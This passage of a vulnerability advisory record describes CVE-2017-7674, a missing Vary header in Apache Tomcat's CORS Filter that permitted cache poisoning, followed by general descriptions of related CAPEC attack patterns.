}
]
}
],
"aliases": [
"CVE-2017-7674"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T21:22:02Z",
"nvd_published_at": "2017-08-11T02:29:00Z",
"severity": "MODERATE"
},
"details": "The CORS Filter in Apache Tomcat 9.0.0.M1 to 9.0.0.M21, 8.5.0 to 8.5.15, 8.0.0.RC1 to 8.0.44 and 7.0.41 to 7.0.78 did not add an HTTP Vary header indicating that the response varies depending on Origin. This permitted client and server side cache poisoning in some circumstances.",
"id": "GHSA-73rx-3f9r-x949",
"modified": "2024-02-22T22:27:37Z",
"published": "2022-05-14T01:10:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7674"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/52382ebfbce20a98b01cd9d37184a12703987a5a"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/9044c1672bbe4b2cf4c55028cc8b977cc62650e7"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b94478d45b7e1fc06134a785571f78772fa30fed"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat80/commit/f52c242d92d4563dd1226dcc993ec37370ba9ce3"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6ccee4e849bc77df0840c7f853f6bd09d426f6741247da2b7429d5d9%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r48c1444845fe15a823e1374674bfc297d5008a5453788099ea14caf0@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r48c1444845fe15a823e1374674bfc297d5008a5453788099ea14caf0%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r409efdf706c2077ae5c37018a87da725a3ca89570a9530342cdc53e4@%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r409efdf706c2077ae5c37018a87da725a3ca89570a9530342cdc53e4%40%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3bbb800a816d0a51eccc5a228c58736960a9fffafa581a225834d97d@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3bbb800a816d0a51eccc5a228c58736960a9fffafa581a225834d97d%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1c62634b7426bee5f553307063457b99c84af73b078ede4f2592b34e@%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1c62634b7426bee5f553307063457b99c84af73b078ede4f2592b34e%40%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r15695e6203b026c9e9070ca9fa95fb17dd4cd88e5342a7dc5e1e7b85@%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r15695e6203b026c9e9070ca9fa95fb17dd4cd88e5342a7dc5e1e7b85%40%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/eb6efa8d59c45a7a9eff94c4b925467d3b3fec8ba7697f3daa314b04@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/eb6efa8d59c45a7a9eff94c4b925467d3b3fec8ba7697f3daa314b04%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6ccee4e849bc77df0840c7f853f6bd09d426f6741247da2b7429d5d9@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raba0fabaf4d56d4325ab2aca8814f0b30a237ab83d8106b115ee279a%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raba0fabaf4d56d4325ab2aca8814f0b30a237ab83d8106b115ee279a@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bol4f8wyjfsbo135tw9gy49o5nf8qpth"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/06/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180614-0003"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbux03828en_us"
},
{
"type": "WEB",
"url": "https://svn.apache.org/viewvc?view=revision\u0026revision=1795816"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20171115015045/http://www.securityfocus.com/bid/100280"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20210116171055/http://www.securityfocus.com/bid/100280"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:1801"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:1802"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3081"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/22b4bb077502f847e2b9fcf00b96e81e734466ab459780ff73b60c0f%40%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/22b4bb077502f847e2b9fcf00b96e81e734466ab459780ff73b60c0f@%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5c0e00fd31efc11e147bf99d0f03c00a734447d3b131ab0818644cdb%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5c0e00fd31efc11e147bf99d0f03c00a734447d3b131ab0818644cdb@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e85e83e9954f169bbb77b44baae5a33d8de878df557bb32b7f793661%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e85e83e9954f169bbb77b44baae5a33d8de878df557bb32b7f793661@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3974"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Insufficient Verification of Data Authenticity in Apache Tomcat"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.